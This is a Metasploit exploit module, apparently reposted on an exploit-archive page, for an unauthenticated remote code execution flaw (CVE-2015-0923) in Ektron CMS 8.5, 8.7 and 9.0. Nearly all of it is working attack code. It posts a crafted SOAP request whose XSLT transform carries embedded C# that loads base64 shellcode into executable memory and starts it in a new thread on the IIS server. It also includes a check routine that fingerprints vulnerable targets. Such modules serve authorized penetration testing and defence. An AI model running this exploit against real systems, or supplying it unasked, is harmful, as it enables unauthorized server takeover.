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Ektron 8.5 / 8.7 / 9.0 XSLT Transform Remote Code Execution

Posted on 04 March 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution',
'Description' => %q{ Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have
vulnerabilities in various operations within the ServerControlWS.asmx
web services. These vulnerabilities allow for RCE without authentication and
execute in the context of IIS on the remote system.
},
'Author' => [
'catatonicprime'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-0923' ],
[ 'US-CERT-VU', '377644' ],
[ 'URL', 'http://www.websecuritywatch.com/xxe-arbitrary-code-execution-in-ektron-cms/' ]
],
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Privileged' => true,
'Targets' =>
[
['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' => [ ARCH_X64, ARCH_X86 ] }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 05 2015'
))

register_options(
[
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),
OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/']),
OptEnum.new('TARGETOP',
[
true,
'The vulnerable web service operation to exploit',
'ContentBlockEx',
[
'ContentBlockEx',
'GetBookmarkString',
'GetContentFlaggingString',
'GetContentRatingString',
'GetMessagingString'
]
])
], self.class )
end

def vulnerable_param
return 'Xslt' if datastore['TARGETOP'] == 'ContentBlockEx'
'xslt'
end

def required_params
return '' if datastore['TARGETOP'] == 'ContentBlockEx'
'<showmode/>'
end

def target_operation
datastore['TARGETOP']
end

def prologue
<<-XSLT
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<#{target_operation} xmlns="http://www.ektron.com/CMS400/Webservice">
#{required_params}
<#{vulnerable_param}>
<![CDATA[
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
XSLT
end

def epilogue
<<-XSLT
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:transform>
]]>
</#{vulnerable_param}>
</#{target_operation}>
</soap:Body>
</soap:Envelope>
XSLT
end

def check

fingerprint = rand_text_alpha(5 + rand(5))
xslt_data = <<-XSLT
#{prologue}
public string xml() {
return "#{fingerprint}";
}
#{epilogue}
XSLT

res = send_request_cgi(
{
'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml; charset=UTF-8",
'headers' => {
"Referer" => build_referer
},
'data' => xslt_data
})

if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def uri_path
uri_path = target_uri.path
uri_path << "/" if uri_path[-1, 1] != "/"
uri_path
end

def build_referer
if datastore['SSL']
schema = "https://"
else
schema = "http://"
end

referer = schema
referer << rhost
referer << ":#{rport}"
referer << uri_path
referer
end

def exploit

print_status("Generating the EXE Payload and the XSLT...")
fingerprint = rand_text_alpha(5 + rand(5))

xslt_data = <<-XSLT
#{prologue}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

public string xml()
{
string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}";
byte[] shellcode = System.Convert.FromBase64String(shellcode64);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
IntPtr pinfo = IntPtr.Zero;
UInt32 threadId = 0;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
return "#{fingerprint}";
}
#{epilogue}
XSLT

print_status("Trying to run the xslt transformation...")
res = send_request_cgi(
{
'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml; charset=UTF-8",
'headers' => {
"Referer" => build_referer
},
'data' => xslt_data
})
if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
print_good("Exploitation was successful")
else
fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request")
end

end
end

 

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